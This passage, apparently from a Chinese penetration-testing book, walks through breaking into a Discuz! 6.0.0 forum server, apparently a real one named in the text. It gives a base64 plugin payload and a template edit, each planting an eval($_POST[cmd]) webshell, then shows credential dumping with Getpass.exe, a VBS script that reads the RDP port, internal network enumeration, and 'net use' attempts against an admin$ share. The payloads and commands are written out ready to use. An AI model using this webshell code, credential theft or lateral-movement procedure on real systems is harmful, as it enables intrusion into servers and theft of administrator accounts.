2.14 通过SQL注入漏洞渗透某服务器并直接提权
服务器的提权是有前提基础的,有的可以直接获取root或者administrator权限,但很多情况下需要接入的基础,例如telnet、远程终端、VPN接入、Radmin等远程控制接入、反弹Shell及WebShell等。本案例通过SQL注入获取WebShell,使用一些工具软件直接获取Windows的账号和密码。
2.14.1 对目标站点的分析和漏洞利用
1.分析与利用漏洞
通过对目标站点进行查看,发现站点使用了Discuz!6.0.0 CMS程序。直接使用exp程序,尝试获取管理员密码。如图2-136所示,顺利获取管理员密码,且管理员没有使用安全提问。
图2-136 获取管理员密码
2.查看其他管理员用户
如果管理员采用了安全提问,虽然有破解程序可以破解,但破解的成功率与字典有关,这时可以通过“统计”或者查看论坛公告等方法寻找拥有管理员权限的用户。如图2-137所示,使用破解的admin账户密码成功登录系统,单击“用户管理”选项卡搜索“管理员”,就可以看到该系统中还存在很多具有管理员权限的用户。
图2-137 获取其他管理员用户
3.获取WebShell
在获取Discuz!6.0.0创始管理员权限的情况下,有4种方法可以获取WebShell,最简单易行的就是插件导入和修改模板,其利用方法如下。
(1)导入插件
导入插件代码如下。
YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIx IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldFNo ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjI2OiJhJ109ZXZhbCgkX1BPU1Rb Y21kXSk7JGFbJyI7czoxMToiZGVzY3JpcHRpb24iO3M6MDoiIjtzOjEwOiJk YXRhdGFibGVzIjtzOjA6IiI7czo5OiJkaXJlY3RvcnkiO3M6MDoiIjtzOjk6 ImNvcHlyaWdodCI7czowOiIiO3M6NzoibW9kdWxlcyI7czowOiIiO31zOjc6 InZlcnNpb24iO3M6NToiNi4wLjAiO30=
一句话后门连接的地址为http://bbs.vpser.net/forumdata/cache/plugin_a']=eval($_POST[cmd]);$a['.php。
(2)编辑风格模板
在customfaq.lang.php文件中加入一句话后门“eval($_POST[cmd]); ”,一句话后门连接的地址为http://bbs.vpser.net/templates/default/customfaq.lang.php。
使用上面的方法均可以获取WebShell,如图2-138所示。
图2-138 获取WebShell
2.14.2 尝试提权获取管理员权限
1.使用“中国菜刀”的终端连接功能测试能否执行命令
在“中国菜刀”一句话后门管理端中选择刚才获取的WebShell记录,然后选择终端连接,进入命令提示符窗口,执行一些简单的cmd命令测试能否执行命令。
2.上传GetPass程序
Getpass.exe在普通用户权限下也可以获取管理员曾经登录的用户名和密码。如图2-139所示,成功获取管理员密码和用户名的列表。
图2-139 获取管理员密码和权限
3.查看3389端口是否开放
使用“netstat-an | find "3389"”命令查看服务器上是否开放了3389端口,如图2-140所示。如果默认3389端口没有开放(管理员修改到其他端口),则可以使用如下命令来获取端口。
图2-140 获取3389端口开放情况
Echo Dim ReadComputerName >>port.vbs Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs Echo Dim TSName, TSRegPath >>port.vbs Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs Cscript port.vbs
4.查看内网情况
分别使用“ipconfig”和“net view”命令查看服务器是否有内网。如图2-141所示,获取服务器IP地址为10.202.17.109,明显是内网IP地址,果然在同网段还有其他服务器。
图2-142 获取系统权限
5.尝试内网渗透并查看权限
使用sfind.exe程序对内网端口进行扫描,然后执行“net use”命令来尝试登录内网服务器。在DOS命令提示符下,可以使用“net use\\\10.202.17.24\admin$ "Zjugh***"/user:Administrator”命令来测试内网服务器是否使用了能够获取服务器权限的口令,如果能执行成功,则可以获取该服务器的权限。在本例中,由于对方服务器设置了不同的口令,因此执行命令失败,但当前服务器的权限为系统权限,如图2-142所示。
图2-142 获取系统权限